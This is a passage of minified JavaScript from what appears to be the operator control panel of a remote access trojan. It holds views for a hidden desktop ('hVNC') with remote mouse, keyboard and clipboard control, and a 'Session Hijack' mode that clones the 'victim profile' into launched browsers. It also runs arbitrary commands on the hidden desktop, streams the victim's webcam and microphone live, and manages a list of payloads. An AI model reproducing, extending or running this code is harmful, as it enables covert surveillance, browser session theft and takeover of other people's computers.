24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),le===H.payload_id?a.jsxs("div",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>ve(H.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),a.jsx("button",{onClick:()=>we(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):a.jsx("button",{onClick:()=>we(H.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},H.payload_id)})})]}),a.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function ir({label:e,children:t}){return a.jsxs("div",{children:[a.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const jV=[{label:"Explorer",cmd:"explorer.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("circle",{cx:"12",cy:"12",r:"10"}),a.jsx("circle",{cx:"12",cy:"12",r:"4"}),a.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),a.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),a.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function NV(){const{id:e}=il(),[t]=Cx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=m.useRef(null),s=m.useRef(null),o=m.useRef(null),l=m.useRef(null),c=m.useRef(null),u=m.useRef({x:-1,y:-1}),d=m.useRef(null),f=m.useRef(0),[p,h]=m.useState(!0),[x,g]=m.useState(!0),[y,v]=m.useState(!1),[b,w]=m.useState(60),[j,N]=m.useState(20),[k,z]=m.useState(0),[S,O]=m.useState({w:0,h:0}),[,A]=m.useState(""),[T,P]=m.useState(null),[D,G]=m.useState(!1),[R,K]=m.useState(!1),_=m.useRef(!1),[M,F]=m.useState({w:0,h:0});m.useEffect(()=>{const W=l.current;if(!W)return;const Q=new ResizeObserver(he=>{const E=he[0];E&&F({w:E.contentRect.width,h:E.contentRect.height})});return Q.observe(W),()=>Q.disconnect()},[]);const U=m.useMemo(()=>{if(S.w<=0||S.h<=0||M.w<=0||M.h<=0)return null;const W=Math.min(M.w/S.w,M.h/S.h);return{width:Math.floor(S.w*W),height:Math.floor(S.h*W)}},[S,M]),V=m.useRef({x:0,y:0,w:0,h:0}),Z=m.useRef(null),ae=m.useCallback((W,Q)=>{const he=s.current;if(!he)return;Z.current||(Z.current=he.getContext("2d"));const E=Z.current;if(!E)return;const ce=V.current;if(ce.w>0&&E.clearRect(ce.x,ce.y,ce.w,ce.h),W<0||Q<0){V.current={x:0,y:0,w:0,h:0};return}V.current={x:W-1,y:Q-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(W,Q),E.lineTo(W,Q+18),E.lineTo(W+5,Q+14),E.lineTo(W+9,Q+21),E.lineTo(W+12,Q+20),E.lineTo(W+8,Q+13),E.lineTo(W+13,Q+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),ue=m.useCallback((W,Q)=>{const he=s.current;if(!he)return;const E=he.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(W,Q,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{ae(u.current.x,u.current.y)},150))},[ae]),be=m.useCallback((W,Q,he,E,ce)=>{_.current||(_.current=!0,K(!0)),O({w:Q,h:he});const J=i.current;if(!J)return;const xe=J.getContext("2d");if(!xe)return;(J.width!==Q||J.height!==he)&&(J.width=Q,J.height=he);const ke=s.current;if(ke&&(ke.width!==Q||ke.height!==he)&&(ke.width=Q,ke.height=he,Z.current=null),typeof W=="string"){const ze=c.current||new Image;c.current=ze,ze.onload=()=>{xe.drawImage(ze,0,0)},ze.src=W}else W instanceof ImageBitmap?(xe.drawImage(W,0,0),W.close()):xe.drawImage(W,0,0)},[r]),ye=m.useCallback(()=>{},[]),{isConnected:q,stats:te,controls:C,connect:Y,disconnect:ne}=kv({agentId:e||"",mode:n,onFrame:be,onDisconnect:ye});m.useEffect(()=>{e&&Y()},[e,Y]);const B=m.useCallback(W=>{const Q=s.current,he=i.current;if(!Q||!he||S.w===0)return{x:0,y:0};const E=Q.getBoundingClientRect(),ce=he.width/E.width,J=he.height/E.height;return{x:Math.min(Math.max(Math.round((W.clientX-E.left)*ce),0),he.width-1),y:Math.min(Math.max(Math.round((W.clientY-E.top)*J),0),he.height-1)}},[S]),le=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);u.current={x:Q,y:he};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Q,he)),ae(Q,he)},[p,y,B,C,ae]),we=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);C.sendMouseButton(W.button,1,Q,he),ue(Q,he)},[p,y,B,C,ue]),Ne=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);C.sendMouseButton(W.button,0,Q,he)},[p,y,B,C]),Ae=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W),E=W.deltaY>0?-120:120;C.sendMouseScroll(E,Q,he)},[p,y,B,C]);m.useEffect(()=>{if(!x||y)return;const W=(E,ce)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(ce,J,0)},Q=E=>W(E,1),he=E=>W(E,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",he,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",he,!0)}},[x,y,C]),m.useEffect(()=>{C.setViewOnly(y)},[y,C]);const $=m.useCallback(W=>{w(W),C.setQuality(W)},[C]),fe=m.useCallback(async()=>{try{const W=await navigator.clipboard.readText();W&&C.sendClipboard(W)}catch{}},[C]),ve=m.useCallback(()=>{var W,Q;(Q=(W=o.current)==null?void 0:W.requestFullscreen)==null||Q.call(W)},[]),H=m.useCallback(async()=>{if(ne(),e)try{r?await l6(e):await o6(e)}catch{}window.close()},[e,ne,r]),se=m.useCallback(async W=>{if(!(!e||!W.trim())){P(null);try{await c6(e,W.trim(),D),P(`Launched ${W.trim()}${D?" (hijack)":""}`),A(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,D]);return a.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&a.jsxs(a.Fragment,{children:[a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),a.jsx("div",{className:"flex-1"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:p?"#06B6D4":"#27272A"},title:"Mouse"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&a.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),a.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[q&&a.jsxs("div",{className:"relative",style:{width:U?U.width:void 0,height:U?U.height:void 0,display:R?"block":"none"},children:[a.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),a.jsx("canvas",{ref:s,onMouseMove:le,onMouseDown:we,onMouseUp:Ne,onWheel:Ae,onContextMenu:W=>W.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:p&&!y?"none":"default"}})]}),(!q||!R)&&a.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:a.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:q?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),a.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(W=>a.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${W*.3}s`}},W))})]})]})})]}),a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:q?"#22C55E":"#EF4444",boxShadow:q?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:q?"LIVE":"OFFLINE"})]}),a.jsx(Zs,{}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),a.jsx(Zs,{}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:W=>$(Number(W.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:W=>{const Q=Number(W.target.value);N(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),a.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:a.jsxs("select",{value:k,onChange:W=>{const Q=Number(W.target.value);z(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[a.jsx("option",{value:0,children:"Auto"}),a.jsx("option",{value:1,children:"DXGI"}),a.jsx("option",{value:2,children:"GDI"})]})}),a.jsx(Zs,{}),a.jsx(Tm,{label:"MOUSE",active:p,onClick:()=>h(!p),icon:a.jsx(kV,{})}),a.jsx(Tm,{label:"KEYS",active:x,onClick:()=>g(!x),icon:a.jsx(zV,{})}),a.jsx(Tm,{label:"VIEW",active:y,onClick:()=>v(!y),icon:a.jsx(SV,{})}),a.jsx(Zs,{}),a.jsx(Gb,{onClick:fe,title:"Sync clipboard",children:a.jsx(CV,{})}),a.jsx(Gb,{onClick:ve,title:"Fullscreen",children:a.jsx(PV,{})}),r&&a.jsxs(a.Fragment,{children:[a.jsx(Zs,{}),a.jsxs("button",{onClick:()=>G(W=>!W),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:D?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:D?"#22D3EE":"#52525B",background:D?"rgba(6, 182, 212, 0.12)":"transparent",border:D?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),jV.map(W=>a.jsxs("button",{onClick:()=>se(W.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${W.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[W.icon,a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:W.label})]},W.cmd)),a.jsxs("button",{onClick:()=>{const W=prompt("Command to launch on hidden desktop:");W&&se(W)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:W=>{W.currentTarget.style.color="#A1A1AA",W.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:W=>{W.currentTarget.style.color="#52525B",W.currentTarget.style.background="transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:S.w>0?`${S.w}×${S.h}`:"—"}),a.jsxs("button",{onClick:H,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:W=>{W.currentTarget.style.background="rgba(239, 68, 68, 0.12)",W.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:W=>{W.currentTarget.style.background="rgba(239, 68, 68, 0.06)",W.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[a.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Zs(){return a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function Tm({label:e,active:t,onClick:n,icon:r}){return a.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function Gb({onClick:e,title:t,children:n}){return a.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function kV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function zV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function SV(){return a.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function CV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function PV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function EV(){const{id:e}=il(),t=m.useRef(null),n=m.useRef(null),r=m.useRef(null),[i,s]=m.useState(!1),o=m.useRef(!1),[l,c]=m.useState({w:0,h:0}),u=m.useCallback((g,y,v)=>{o.current||(o.current=!0,s(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:p,disconnect:h}=kv({agentId:e||"",mode:"webcam",onFrame:u});m.useEffect(()=>{e&&p()},[e,p]),m.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=m.useCallback(async()=>{if(h(),e)try{await u6(e)}catch{}window.close()},[e,h]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),a.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&a.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&a.jsxs("div",{className:"flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function _V({agentId:e,onDisconnect:t}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0),[s,o]=m.useState(!1),[l,c]=m.useState(!1),u=m.useRef(!1),[d,f]=m.useState({chunkCount:0,sampleRate:0}),p=m.useCallback(()=>{if(n.current)return;const g=st();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const N=j.getUint16(0,!0),k=j.getUint8(2),z=j.getUint8(3),S=12,O=w.data.byteLength-S;if(f(K=>({chunkCount:K.chunkCount+1,sampleRate:N})),u.current)return;const A=r.current;if(!A||A.state==="closed")return;A.state==="suspended"&&A.resume();const T=O/(k/8)/z,P=A.createBuffer(z,T,N),D=new DataView(w.data,S);for(let K=0;K{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=m.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=m.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return m.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:s,isMuted:l,stats:d,connect:p,disconnect:h,toggleMute:x}}function AV(){const{id:e}=il(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:s,toggleMute:o}=_V({agentId:e||""});m.useEffect(()=>{e&&i()},[e,i]);const l=m.useCallback(async()=>{if(s(),e)try{await d6(e)}catch{}window.close()},[e,s]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 